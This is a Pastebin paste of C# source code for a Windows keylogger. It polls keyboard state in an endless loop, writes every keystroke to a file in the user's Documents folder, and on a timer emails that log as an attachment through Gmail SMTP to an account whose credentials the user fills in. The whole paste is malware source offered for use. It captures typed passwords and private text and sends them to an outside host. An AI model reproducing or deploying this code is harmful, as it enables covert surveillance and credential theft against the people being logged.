Advertisement
Guest User

Untitled

a guest
Apr 2nd, 2016
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.50 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Threading;
  7. using System.IO;
  8. using System.Net;
  9. using System.Net.Mail;
  10. using System.Windows.Forms;
  11. using System.Runtime.InteropServices;
  12.  
  13. namespace ConsoleApplication3
  14. {
  15. class Program
  16. {
  17. [DllImport("user32.dll")]
  18. public static extern int GetAsyncKeyState(Int32 i);
  19. static void Main(string[] args)
  20.  
  21. {
  22. System.Windows.Forms.Timer t = new System.Windows.Forms.Timer();
  23. t.Interval = 10000;
  24. t.Tick += timer_Tick;
  25. t.Start();
  26.  
  27. {
  28. while (true)
  29. {
  30. Thread.Sleep(10);
  31. for (Int32 i = 0; i < 255; i++)
  32. {
  33. int keyState = GetAsyncKeyState(i);
  34. if (keyState == 1 || keyState == -32767)
  35. {
  36. Console.WriteLine((Keys)i);
  37. string toStringKeys = Convert.ToString((Keys)i);
  38. File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
  39. break;
  40.  
  41. }
  42.  
  43. }
  44.  
  45. }
  46.  
  47. }
  48.  
  49. }
  50. static void timer_Tick(object sender, EventArgs e)
  51. {
  52. sendMail();
  53. }
  54.  
  55.  
  56. static void sendMail()
  57. {
  58. string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass;
  59. string keylogs = "C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt";
  60.  
  61. gmailUser = ""; //put your gmail email.
  62. gmailPass = ""; //Put your gmail pass
  63. toEmail = gmailUser;
  64. fromEmail = gmailUser;
  65. subject = "Keylogs";
  66. body = "Here it is!";
  67.  
  68. MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
  69. SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
  70.  
  71. smtp.EnableSsl = true;
  72. smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
  73.  
  74. if (keylogs != string.Empty || keylogs != null)
  75. {
  76. Attachment attach = new Attachment(keylogs);
  77. message.Attachments.Add(attach);
  78. }
  79.  
  80.  
  81. smtp.Send(message);
  82. }
  83. }
  84. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement